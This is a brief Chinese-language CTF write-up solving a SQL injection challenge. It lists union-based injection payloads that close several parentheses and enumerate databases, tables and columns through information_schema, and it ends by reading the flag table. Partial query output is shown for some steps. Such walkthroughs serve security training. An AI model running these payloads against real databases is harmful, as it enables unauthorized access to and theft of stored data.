这是什么SQL注一下

First Post:

Last Update:

查询所有数据库

1
-1)))))) union select 1,schema_name from information_schema.schemata--+

ctf,ctftraining

查表

1
-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctftraining"--+

flag,news,users

查列

1
-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctftraining" and table_name="flag"--+

flag

查字段

1
-1)))))) union select 1,flag from ctftraining.flag--+